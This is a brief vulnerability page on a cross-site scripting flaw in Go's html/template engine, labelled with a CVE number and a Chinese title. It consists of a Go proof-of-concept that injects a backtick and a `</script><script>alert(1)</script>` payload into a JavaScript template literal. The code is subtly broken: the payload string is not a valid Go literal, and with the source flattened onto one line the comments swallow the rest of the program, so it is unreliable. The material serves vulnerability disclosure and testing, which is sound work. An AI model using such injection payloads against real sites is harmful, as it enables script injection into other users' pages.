CVE-2026-32289 Go模板引擎XSS漏洞

package main import ( "html/template" "os" ) func main() { // Template demonstrating the context tracking issue in JS template literals // The template uses a conditional branch inside a JS template literal tmpl := `<script> let x = ` + "`" + `{{if .Condition}}{{.Data}}{{else}}default{{end}}` + "`" + `; </script>` t, err := template.New("test").Parse(tmpl) if err != nil { panic(err) } // Payload designed to break out of the template literal if escaping fails // Attackers might try to inject backticks or special chars data := struct { Condition bool Data string }{ Condition: true, Data: "` + "</script><script>alert(1)</script>", } err = t.Execute(os.Stdout, data) if err != nil { panic(err) } }